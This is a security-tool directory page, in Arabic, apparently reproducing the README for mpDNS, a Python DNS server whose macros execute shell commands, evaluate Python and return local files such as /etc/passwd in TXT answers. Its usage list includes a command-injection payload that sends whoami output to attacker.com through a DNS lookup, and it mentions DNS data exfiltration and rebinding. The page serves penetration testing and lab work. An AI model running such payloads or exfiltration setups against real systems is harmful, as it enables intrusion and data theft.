Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
mpDNS — خادم DNS متعدد الأغراض | Kitploit
أدوات/GitHubGitHub/nopernik/mpdns
البرمجة النصية والأتمتةتسريب البياناتجمع المعلوماتأمن الويبتحليل البرمجيات الخبيثةاختبار الاختراقالفريق الأحمرتحليل DNS
GitHubnopernik/mpdns

mpDNS

خادم DNS متعدد الأغراض

عرض المستودع
144204منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

mpDNS المعروف أيضًا باسم خادم DNS متعدد الأغراض

خادم DNS بسيط وقابل للتكوين مع ميزات مفيدة متعددة

  • Python 3
  • names.db -> يحمل جميع السجلات المخصصة (انظر الأمثلة)
  • حروف البدل البسيطة مثل *.example.com
  • التقاط طلبات DNS اليونيكود
  • إجراءات مخصصة تُعرف أيضًا باسم ماكرو:
    • {{shellexec::dig google.com +short}} -> تنفيذ أمر شل والرد بالنتيجة
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> تقييم كود بايثون الخاص بك
    • {{file::/etc/passwd}} -> الرد بمحتويات ملف محلي
    • {{filelist::/somefile.list}} -> الرد بنتائج متعددة سطرًا بسطر
    • {{resolve}} -> إعادة توجيه طلب DNS إلى نظام DNS المحلي
    • {{resolve::example.com}} -> حل example.com بدلاً من السجل الأصلي
    • {{echo}}
-> الرد بعنوان النظير
  • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> استخدام المتغيرات
  • انظر names.db.example للمزيد
  • مبني بشكل كبير على https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

    بداية سريعة

    root@kitploit:~
    git clone https://github.com/nopernik/mpDNS
    cd ./mpDNS
    pip install -r requirements.txt
    touch names.db
    

    الآن أنت مستعد لملء سجلات DNS الخاصة بك في names.db بناءً على names.db.example

    الاستخدام: ./mpdns.py

    • إنشاء names.db. انظر names.db.example
    • تعديل سجلات DNS في names.db باستخدام ./mpdns.py -e لا يلزم إعادة تشغيل

    أغراض هجومية ودفاعية:

    1. تحتاج إلى حل خادم DNS بسيط وخفيف لأغراض الاختبار (ليس للإنتاج!)
    2. اختبار ثغرات الحقن الأعمى المختلفة في تطبيقات الويب (مثال: /ping.php?ip=$(dig $(whoami).attacker.com))
    3. اختراق 65 ألف بايت من البيانات بسهولة في استعلام TXT واحد
    4. إعادة ربط DNS
    5. تنفيذ إجراء ماكرو مخصص على استعلام محدد (مفيد في بيئات مختبر تحليل البرامج الضارة)
    6. والكثير غير ذلك. إنه قابل للتخصيص بشكل كبير.

    القيود

    1. نظرًا لحد حزمة UDP البالغ 65535 بايت، فإن استجابة DNS محدودة إلى حوالي ~65200 بايت
      ينطبق هذا الحد على سجلات TXT التي يتم تقسيمها إلى أجزاء بحجم 256 بايت حتى تصل الاستجابة إلى الحد الأقصى المسموح به 65200 بايت
      لذلك فإن سجل TXT مع ماكرو {{file:localfile.txt}} محدود إلى 65200 بايت.
    2. لا دعم لحروف البدل المتداخلة test.*.example.com
    3. لا دعم لمحلل خادم DNS مخصص في ماكرو {{resolve::example.com}}
    4. TTL مضبوط دائمًا على 0

    أمثلة

    مثال names.db:

    root@kitploit:~
    # Empty configuration will result in empty but valid responses
    #
    # Unicode domain names are not supported but still can be catched by the server.
    # for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
    
    passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
    shellexec			TXT     {{shellexec::whoami}}
    eval				TXT     {{eval::import random; res = random.randint(1,500)}}
    resolve1			A       {{resolve}}
    resolve2			A       {{resolve::self}}      #same as previous
    resolve3			A       {{resolve::example.com}}
    blabla.com			A       5.5.5.5
    
    *					A       127.0.0.1
    *.example.com		A		7.7.7.7
    c1.example.com		CNAME	c2.example.com
    c2.example.com		CNAME	c3.example.com
    c3.example.com		CNAME	google.example.com
    google.example.com	CNAME	google.com
    test.example.com	A		8.8.8.8
    google.com			A		{{resolve::self}}
    notgoogle.com		A		{{resolve::google.com}}
    

    مثال للإخراج باستخدام مثال names.db:

    تحليل عادي من قاعدة البيانات: dig test.example.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    test.example.com.	0	IN	A	8.8.8.8
    

    مخرجات mpDNS: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


    تحليل CNAME التكراري: dig c1.example.com @localhost

    root@kitploit:~
    ;; QUESTION SECTION:
    ;c1.example.com.			IN	A
    
    ;; ANSWER SECTION:
    c1.example.com.		0	IN	CNAME	c2.example.com.
    c2.example.com.		0	IN	CNAME	c3.example.com.
    c3.example.com.		0	IN	CNAME	google.example.com.
    google.example.com.	0	IN	CNAME	google.com.
    google.com.		0	IN	A	216.58.206.14
    

    مخرجات mpDNS:

    root@kitploit:~
    - Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
    - Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
    - Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
    - Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
    - Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)
    

    تحليل حرف البدل: dig not-in-db.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    not-in-db.com.		0	IN	A	127.0.0.1
    

    مخرجات mpDNS: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


    تحليل النطاق الفرعي بحرف البدل: dig wildcard.example.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    wildcard.example.com.	0	IN	A	7.7.7.7
    

    مخرجات mpDNS: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


    ماكرو إعادة توجيه الطلب: dig google.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    google.com.		0	IN	A	172.217.22.110
    

    مخرجات mpDNS: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


    ماكرو إعادة توجيه طلب نطاق مخصص: dig notgoogle.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    notgoogle.com.		0	IN	A	172.217.22.110
    

    مخرجات mpDNS: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


    ماكرو محتويات الملف عبر استعلام TXT: dig txt passwd.example.com @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
    

    مخرجات mpDNS: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


    ماكرو كود بايثون مخصص عبر استعلام TXT: dig txt eval @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    eval.			0	IN	TXT	"320"
    

    مخرجات mpDNS: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


    ماكرو أمر شل عبر استعلام TXT: dig txt shellexec @localhost

    root@kitploit:~
    ;; ANSWER SECTION:
    shellexec.		0	IN	TXT	"root"
    

    مخرجات mpDNS: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


    استمتع!

    تنزيل الأداة